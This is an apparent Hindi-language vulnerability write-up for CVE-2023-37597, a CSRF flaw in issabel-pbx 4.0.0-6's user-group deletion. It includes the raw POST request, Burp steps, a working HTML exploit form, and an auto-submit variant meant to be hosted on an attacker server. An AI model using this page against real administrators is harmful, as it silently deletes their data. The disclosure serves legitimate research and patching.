
Issabel-pbx v 4.0.0-6 में अपने उपयोगकर्ता समूह प्रबंधन कार्यक्षमता में एक Cross-Site Request Forgery (CSRF) भेद्यता है।
अस्वीकरण: यह रिपॉजिटरी केवल शैक्षिक और अधिकृत सुरक्षा अनुसंधान उद्देश्यों के लिए है। इस शोषण का उपयोग किसी भी ऐसी प्रणाली पर न करें जिसके आप स्वामी नहीं हैं या जिसके लिए आपके पास स्पष्ट लिखित अनुमति नहीं है।
issabel-pbx एक व्यापक रूप से उपयोग किया जाने वाला ओपन-सोर्स यूनिफाइड कम्युनिकेशंस प्लेटफॉर्म (PBX) है जो VoIP सेवाएं, टेलीफोनी प्रबंधन और वेब-आधारित प्रशासन प्रदान करता है। issabel-pbx के संस्करण 4.0.0-6 में इसके उपयोगकर्ता समूह प्रबंधन कार्यक्षमता में क्रॉस-साइट अनुरोध जालसाजी (CSRF) कमजोरी है।
एक अप्रमाणित दूरस्थ हमलावर एक दुर्भावनापूर्ण HTML पेज बना सकता है, जिसे जब कोई प्रमाणित प्रशासक देखता है, तो वह चुपचाप किसी भी उपयोगकर्ता समूह को हटाने के लिए एक नकली HTTP POST अनुरोध भेजता है। चूंकि एप्लिकेशन CSRF टोकन या SameSite कुकी नीतियों के साथ राज्य-परिवर्तन अनुरोधों की उत्पत्ति को मान्य नहीं करता है, ब्राउज़र स्वचालित रूप से प्रशासक की सत्र कुकी शामिल करता है, जिससे पीड़ित की जानकारी या सहमति के बिना विलोपन सफल हो जाता है।
| क्षेत्र | मान |
|---|---|
| CVE ID | CVE-2023-37597 |
| कमजोरी | क्रॉस-साइट अनुरोध जालसाजी (CSRF) |
| CWE | CWE-352 — क्रॉस-साइट अनुरोध जालसाजी (CSRF) |
| गंभीरता | मध्यम |
| CVSS वेक्टर | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H |
| प्रभावित संस्करण | issabel-pbx 4.0.0-6 |
| प्रकटीकरण तिथि | 10 जुलाई 2023 |
| शोधकर्ता | Sahil Ojha |
| क्षेत्र | मान |
|---|---|
| उत्पाद का नाम | issabel-pbx |
| संस्करण | 4.0.0-6 |
| विक्रेता | Issabel Foundation |
| विक्रेता का होमपेज | https://www.issabel.org/ |
| स्रोत कोड | https://github.com/IssabelFoundation/issabelPBX |
| परीक्षण किया गया | विंडोज (Burp Suite Community Edition) |
क्रॉस-साइट अनुरोध जालसाजी (CSRF) एक ऐसा हमला है जो पीड़ित के ब्राउज़र को लक्ष्य एप्लिकेशन पर हमलावर की ओर से एक प्रमाणित अनुरोध भेजने के लिए धोखा देता है। हमला तब सफल होता है जब:
Origin/Referer मान्यता नहीं, कोई SameSite=Strict या SameSite=Lax कुकी विशेषता नहीं)।issabel-pbx 4.0.0-6 में उपयोगकर्ता समूह हटाएं एंडपॉइंट (/index.php?menu=grouplist) HTTP POST अनुरोधों को संसाधित करता है जिसमें केवल delete क्रिया और एक id_user पैरामीटर होता है। एप्लिकेशन निम्नलिखित नहीं करता है:
Origin या Referer HTTP हेडर की जांच नहीं करता है।SameSite विशेषता सेट नहीं करता है।परिणामस्वरूप, पीड़ित के ब्राउज़र में लोड किया गया कोई भी वेब पेज मौजूदा सत्र का उपयोग करके चुपचाप विलोपन फॉर्म जमा कर सकता है, क्योंकि ब्राउज़र स्वचालित रूप से सत्र कुकी संलग्न करेगा।
POST /index.php?menu=grouplist HTTP/1.1
Host: <Issabel IP>
delete=Delete&id_user=<USER_GROUP_ID>
चेतावनी: निम्नलिखित PoC पूरी तरह से शैक्षिक उद्देश्यों के लिए प्रदान किया गया है। इसका उपयोग केवल लैब वातावरण या उन प्रणालियों में करें जिनके लिए आपके पास स्पष्ट प्राधिकरण है।
चरण 1 — Issabel प्रशासन पैनल में लॉग इन करें
उपयोगकर्ता समूह सूची पृष्ठ पर जाएं और प्रशासक क्रेडेंशियल के साथ लॉग इन करें।
https://{Issabel IP}/index.php?menu=grouplist&action=view&id=11

चरण 2 — विलोपन अनुरोध को कैप्चर करें
Burp Suite के माध्यम से ट्रैफ़िक को प्रॉक्सी करते हुए एक उपयोगकर्ता समूह को हटाने का प्रयास करें। कैप्चर किए गए POST अनुरोध पर राइट-क्लिक करें और शोषण HTML स्केलेटन उत्पन्न करने के लिए Engagement Tools → Generate CSRF PoC चुनें।

चरण 3 — CSRF शोषण पृष्ठ को होस्ट करें
उत्पन्न HTML को एक फ़ाइल के रूप में सहेजें (नीचे PoC शोषण कोड देखें)। इसे एक हमलावर-नियंत्रित सर्वर पर होस्ट करें, या इसे सीधे पीड़ित को भेजें।
चरण 4 — पीड़ित शोषण पृष्ठ खोलता है
जब प्रमाणित प्रशासक शोषण URL खोलता है या पुनर्निर्देशित किया जाता है, तो छिपा हुआ फॉर्म स्वचालित रूप से सबमिट हो जाता है (या पीड़ित डिकॉय बटन पर क्लिक करता है)। लक्षित उपयोगकर्ता समूह प्रशासन पैनल से हटा दिया जाता है।


निम्नलिखित HTML फ़ाइल (CSRF exploit.html के रूप में भी उपलब्ध) हमले को प्रदर्शित करती है। {Issabel IP} को लक्ष्य होस्ट से बदलें और id_user को उस समूह ID से समायोजित करें जिसे आप हटाना चाहते हैं।
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://{Issabel IP}/index.php?menu=grouplist" method="POST">
<input type="hidden" name="delete" value="Delete" />
<input type="hidden" name="id_user" value="7" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
स्वचालित-सबमिट संस्करण: पीड़ित को कुछ भी क्लिक करने की आवश्यकता को समाप्त करने के लिए,
<body>टैग के अंदर निम्नलिखित जोड़ें ताकि पेज लोड होने पर फॉर्म स्वचालित रूप से सबमिट हो जाए:<script>document.forms[0].submit();</script>